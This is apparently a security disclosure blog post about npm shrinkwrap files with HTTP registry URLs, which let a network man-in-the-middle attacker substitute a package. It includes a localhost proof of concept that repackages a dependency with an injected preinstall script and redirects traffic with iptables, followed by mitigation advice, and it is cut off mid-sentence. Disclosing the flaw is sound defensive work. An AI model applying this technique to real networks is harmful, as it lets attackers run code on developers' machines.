If you install an npm package (or any packages it may depend on) that has a shrinkwrap file ( npm-shrinkwrap.json ) with a HTTP registry URL, a local network attacker (MITM) can execute malicious code on your machine.
Stop feeding the MITM squirrel with HTTP URLs in shrinkwrap files. (Photo added to remove other photo fromfront.) What is npm shrinkwrap and what is theproblem?
npm shrinkwrap provides a way for package maintainers to lock down the packages they depend on. When you run npm shrinkwrap , npm creates a npm-shrinkwrap.json file that contains all the information about the locked-down dependencies. When someone installs your package, npm will fetch dependencies based on this shrinkwrap file and not the package.json . (Assuming you packaged up the shrinkwrap file before publishing.) This is great! You want to do this in production!
When the shrinkwrap file is generated, the URLs of the registries (usually https://registry.npmjs.org ) from where the packages were fetched are saved alongside the module names and versions. For example, here is a dependency that is in npm's shrinkwrap file at the time of this writing:
"ansi-regex": { "version": "2.0.0", "from": "ansi-regex@2.0.0", "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-2.0.0.tgz" }You should always make sure that the resolved URLs are HTTPS after running npm shrinkwrap . Unfortunately, people don't always do this and sometimes these URLs are HTTP. For example, npm's shrinkwrap at the time of this writing has the following dependency:
... npmlog": { "version": "4.0.1", "from": "npmlog@4.0.1", "resolved": "https://registry.npmjs.org/npmlog/-/npmlog-4.0.1.tgz", "dependencies": { "are-we-there-yet": { "version": "1.1.2", "from": "are-we-there-yet@>=1.1.2 <1.2.0", "resolved": "http://registry.npmjs.org/are-we-there-yet/-/are-we-there-yet-1.1.2.tgz", ... } } ...The actual npm package that is in the npmregistry doesn’t contain the shrinkwrap ― so if you install npm via npm (i.e., npm i npm ) you're okay. But, if you clone the github repo and run npm install , on the other hand, you're not. More broadly, if you npm install any package that has an HTTP resolved URL, a network attacker can execute arbitrary code on your box.
Specifically, when fetching a package (e.g., are-we-there-yet ) over HTTP an attacker that can carry out a man-in-the-middle (MITM) attack can simply reply with a package of their own choosing which, may, for example, contain a malicious preinstall script that npm will happily run.
As long as the attacker has access to the same local network as you (e.g., you are in the same coffee shop or they are your ISP), they can usually alter your HTTP traffic. FireSheep was a great example of how to do this ― it made it easy for people to mess with others’ browsing experience by hijacking sessions. This is a bit worse since it allows an attacker to run code on your machine. Below is a proof-of-concept attack that demonstrates this.
We have notified a number of organizations and users that have packages on npm and github with such HTTP URLs. We cloned the npm registry and various github projects to find this information. This, unfortunately, means that there may be packages out there that we did not catch and may put you at risk. We describe some mitigation techniques below.
Proof of conceptattackBelow is a PoC attack using the npm github repo, running strictly on localhost. We describe both the victim and attacker steps.
Victim clones npm : https://github.com/npm/npm.gitAt the time of this writing, the HEAD points to the latest branch ( 4d0473c12e1f1448f3ca28f157c9023e2682df9d ).
The npm-shrinkwrap.json file has a module that will be fetched via HTTP:
"resolved": "http://registry.npmjs.org/are-we-there-yet/-/are-we-there-yet-1.1.2.tgz",This is the package we’re going to modify and serve from our MITM “registry”.
2. Attacker opens a new shell and set up the MITM registry-like server:
mkdir mitm cd mitm mkdir -p public/are-we-there-yet/- pushd public/are-we-there-yet/- wget https://registry.npmjs.org/are-we-there-yet/-/are-we-there-yet-1.1.2.tgz tar xzvf are-we-there-yet-1.1.2.tgz # modify package/package.json to add new preisnstall script. For example: # "preinstall": "echo w00t > /tmp/whodis", tar czvf are-we-there-yet-1.1.2.tgz package popd npm i static-server ./node_modules/.bin/static-server -p8080 public3. Attacker forwards packets destined to registry.npmjs.org:80 to our MITM local server running on port 8080. For the purpose of this example, we forward any traffic to port 80 to localhost:8080 with iptables:
sudo echo 1 > /proc/sys/net/ipv4/ip_forward sudo iptables -t nat -A OUTPUT -p tcp --dport 80 -j DNAT --to-destination 127.0.0.1:80804. Victim installs npm in the npm directory:
npm iThis will have executed our preinstall script. You can just as easily modify the code and carry out the attack when the module is loaded, just in case the victim was installing packages in a sandbox to prevent install-time attacks.
5. Attacker verifies preinstall script and cleans up:
cat /tmp/whodis sudo iptables -t nat -D OUTPUT -p tcp --dport 80 -j DNAT --to-destination 127.0.0.1:8080 Who is affected bythis?Anybody that runs npm install for a package that has npm-shrinkwrap.json with HTTP URLs. We have already identified and notified a number of node organizations and users that are affected by this. We have also notified npm of this and recommend that you read their blog post on this.
Before you give npm a hard time about this, please be aware that you may be using other package managers that only use HTTP and can likely be leveraged more easily.
How likely am I to get owned bythis?Probably not very likely. The number of packages that have HTTP registry URLs on npm seems to quite low (~0.03% of ~360K packages). (That said, some of these have few thousand downloads per month.) Your attacker must also be local to MITM your network traffic. (Though there are lots of Node developers in SF coffee shops and bootcamps.)
Addressing the vulnerabilityIf your package contains a shrinkwrap file with HTTP URLs please change them to HTTPS. You may be putting your users at risk.
When we reported this to npm we recommended that they patch npm to automatically upgrade HTTP URLs to HTTPS for origins they control (e.g., registry.npmjs.org). Unfortunately, npm decided against this because it may break some of their users’ workflows. We respect that they have business reasons to not silently and automatically upgrade URLs. But, this is at the cost of puttin